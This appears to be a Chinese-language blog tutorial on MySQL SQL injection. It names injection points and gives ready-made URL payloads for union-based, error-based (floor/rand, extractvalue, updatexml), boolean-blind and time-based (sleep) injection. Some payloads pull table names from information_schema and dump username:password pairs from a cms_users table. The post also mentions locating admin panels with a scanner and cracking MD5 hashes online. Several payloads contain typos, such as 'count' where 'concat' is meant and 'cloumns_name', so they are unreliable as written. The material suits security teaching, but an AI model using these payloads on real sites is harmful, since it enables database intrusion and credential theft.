SQL注入原理及手法

SQL注入
漏洞原理:1.程序编写者处理程序和数据库交互的时候,使用字符串拼接的方式构造SQL
          2.未对用户可控参数进行足够的过滤就将参数内容拼接进SQL语句中
注入点可能的位置:GET数据、POST数据、HTTP头部、COOKIE数据等
注入手法:联合查询
                报错注入
                布尔盲注
                延时注入
                堆叠查询
MYsql元数据数据库:information_schema
mysql 常用的函数与参数:version()数据库版本/database()当前数据库/user()用户 /current_user()当前用户名/system_user()系统用户名/@@datadir数据库路径/@@version_compile_os操作系统版本/length(datebase())返回字符串长度/substring(字符串或者列名,起始位置,截取长度)截取字符串/substr()截取字符串/left(version(),2) 从左侧开始去指定字符个数的字符串、concat('a','b','c')没有分隔符的连接字符串/concat_ws('/','a','b','c')含有分隔符的连接字串/group_concat()连接一个组的字符串、ord('a')返回ASCII码、hex()字符转16进制、unhex()16进制转字符、floor(x)返回不大于X的最大整数、round()返回参数x接近的整数、rand()返回0-1之间的随机浮点数、load_file()读取文件,并返回文件内容最为一个字符串
注入过程:御剑扫描网站后台
@  判断SQL注入点
 ?id=34  +-1          select * from tbName where id = $id
 
@   ?id=35'    字符型还是数字型报错:near ''' at line 1  
select * from tbName where id = 35'
 
@   测试页面是否有布尔类型的状态
?id=35 and 1=1
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
 
@   ?id=35 and sleep(4)      是否有延时
第一种:联合查询
使用[order by] 语句来判断当前select 语句所查询的虚拟列表的列数
得到字段个数之后,可以尝试构造联合查询语句
[?id=33 union select 1,2,3,4,5,6,7,8,9,10--+]
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL,语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]
[?id=-33 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+]
先通过database()获取当前数据库名
再查数据库中的表
我们可以通过查询information_schema.tables 来获取当前数据库的数据表
hex(group_concat(table_name))...from information_schema.tables where tables_schema=database()
再查数据库中的字段名
hex(group_concat(cloumns_name))...from information_schema.cloumns where
tables_schema=database() and table_name='cms_users'
得到结果
… hex(concat(username,':',password)) … from cms_users
MD5在线查询
第二种:报错注入
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入
group by 重复键冲突
.....and(select 1 from(select count(*),concat(select version() from information_schema.tables limit 0,1),floor(rand()*2) as x from information_schema.tables group by x)a)
XPATH报错
@ extractvalue()
[… and extractvalue(1,count('^',(select version()),'^'))--+]
@ updatexml()
[… and updatexml(1,count('^',(select version()),'^'))--+]
第三种:布尔盲注
原理
利用页面返回的布尔类型状态,正常或者不正常
猜数据库名长度:and length(database())=1..2...3
确定之后截取数据库名的字母 and ord(substr(database(),1,1))=99..
第四种:延时注入
@ 获取数据库名长度
[.. and if((length(database())=3),sleep(5),1)--+]
 
@ 数据库名第二位
[.. and if((ascii(substr(database(),2,1)=109),sleep(5),1)]
--------
口诀
是否有回显           联合查询
是否有报错           报错注入
是否有布尔类型状态   布尔盲注
绝招                 延时注入
--------

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值